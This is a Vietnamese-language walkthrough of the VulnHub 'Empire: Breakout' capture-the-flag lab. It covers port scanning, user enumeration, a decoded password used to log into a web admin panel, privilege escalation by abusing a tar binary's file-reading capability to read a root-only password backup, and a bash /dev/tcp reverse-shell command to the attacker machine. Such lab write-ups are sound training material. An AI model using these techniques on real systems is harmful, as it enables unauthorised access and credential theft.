Môi trường kiểm thử xâm nhập
Máy tấn công: IP: 192.168.149.128 (Kali) Mục tiêu: IP: 192.168.149.130 Tải máy mục tiêu: https://www.vulnhub.com/entry/empire-breakout,751/
Tiến hành kiểm thử xâm nhập
Một, Thu thập thông tin IP và cổng
Sau khi khởi động, chúng ta đã xác định được IP của máy mục tiêu, do đó không cần quét mạng.
Quét cổng, hệ điều hành và phiên bản
nmap -p- -sT -sV -O -T4 192.168.149.130
Kết quả cho thấy các cổng 80, 139, 445, 10000, 20000 đang mở, và thông tin phiên bản kernel đã được xác định.
Hai, Khám phá lỗ hổng
1. Truy cập cổng 80
Khi truy cập cổng 80, chúng ta thấy đây là trang mặc định của apache2. Xem mã nguồn, chúng ta nhận thấy một dòng bình luận cung cấp một số thông tin.
Chúng ta chưa từng gặp loại mã hóa này trước đây, vì vậy đã tham khảo ChatGPT.
Tìm hiểu đây là mã Brainfuck, sau đó chúng ta sử dụng một trang web trực tuyến để giải mã.
Nhận được chuỗi
.2uqPEfj3D<P'a-3
Theo gợi ý, đây có thể là một mật khẩu truy cập.
2. Truy cập cổng 10000
Truy cập trực tiếp cho biết chúng ta nên sử dụng https.
Truy cập https://192.168.149.130:10000, chúng ta thấy một trang đăng nhập.
Chúng ta đoán rằng mật khẩu vừa nhận được được sử dụng để đăng nhập ở đây. Về tên người dùng, chúng ta có thể sử dụng Burpsuite với từ điển để brute-force. Tuy nhiên, tôi thấy một số kỹ sư khác đã sử dụng enum4linux.
Sử dụng lệnh:
enum4linux -a 192.168.149.130
Trong thông tin trả về, chúng ta thấy một người dùng cục bộ là cyber. Chúng ta thử đăng nhập với tên người dùng cyber và chuỗi vừa nhận được .2uqPEfj3D<P'a-3.
Kết quả không như mong đợi, chúng ta không thể đăng nhập vào cổng 10000. Nhưng đừng quên chúng ta vẫn còn cổng 20000 chưa khám phá. Truy cập cổng 20000, giao diện giống hệt cổng 10000. Chúng ta sử dụng tên người dùng và mật khẩu trên để đăng nhập và thành công!!!!
Sau khi đăng nhập, chúng ta thấy biểu tượng terminal ở góc dưới bên trái.
Click vào, chúng ta nhận được một shell và tìm thấy flag đầu tiên.
Ba, Nâng đặc quyền
Trong thư mục hiện tại, chúng ta thấy một tệp tar chưa được khai thác. Đầu tiên, sử dụng lệnh file để kiểm tra loại tệp.
file ./tar
Chúng ta thấy đây là một tệp thực thi.
Sử dụng lệnh getcap để kiểm tra quyền của tệp này.
getcap ./tar
cap_dac_read_search: Bỏ qua kiểm tra quyền Đọc và Tìm kiếm DAC (Discretionary Access Control) của tệp. e: Khả năng thực thi của tệp. p: Thiết đặt ID người dùng hiệu quả của tiến trình.
Nói đơn giản, tệp thực thi này có thể đọc bất kỳ tệp nào. Tuy nhiên, lưu ý rằng đây không phải là tệp tar được cài đặt trong hệ thống, do đó khi sử dụng tệp này, chúng ta cần thêm đường dẫn của nó. Chúng ta có thể kiểm tra đường dẫn cài đặt của lệnh tar trong hệ thống để xác minh đây là hai tệp khác nhau.
Vì hệ thống cung cấp tệp này, chắc chắn có một số tệp nhạy cảm. Chúng ta sẽ tìm kiếm trong thư mục.
Trong /var/backups/, chúng ta tìm thấy một tệp sao lưu .old_pass.bak, và chỉ có root có quyền đọc và ghi. Tệp tar ở trên sẽ hữu ích ở đây. Chúng ta sẽ nén tệp này, sau đó giải nén để giải quyết vấn đề quyền. Lưu ý rằng chúng ta không có quyền đọc và ghi trong /var/backups/, do đó chúng ta cần chuyển đến thư mục nhà của người dùng đăng nhập hiện tại để thực hiện các lệnh sau.
./tar -cvf pass_backup.tar /var/backups/.old_pass.bak //Nén tệp để tạo pass_backup.tar
./tar -xvf ./pass_backup.tar //Giải nén pass_backup.tar vào đường dẫn hiện tại
Bây giờ chúng ta có thể thấy thư mục var sau khi giải nén.
Đi vào thư mục để xem, chúng ta tìm thấy mật khẩu Ts&4&YurgtRX(=~h
Thiết lập kết nối ngược (reverse shell)
kali: nc -nlvp 4444 //Bắt đầu lắng nghe
mục tiêu: bash -i >& /dev/tcp/192.168.149.128/4444 0>&1 //Kết nối ngược shell
Sử dụng su để chuyển sang người dùng root, đăng nhập bằng mật khẩu trên. Sau đó tìm thấy flag thứ hai trong /root/rOOt.txt
Quá trình kiểm thử xâm nhập hoàn tất.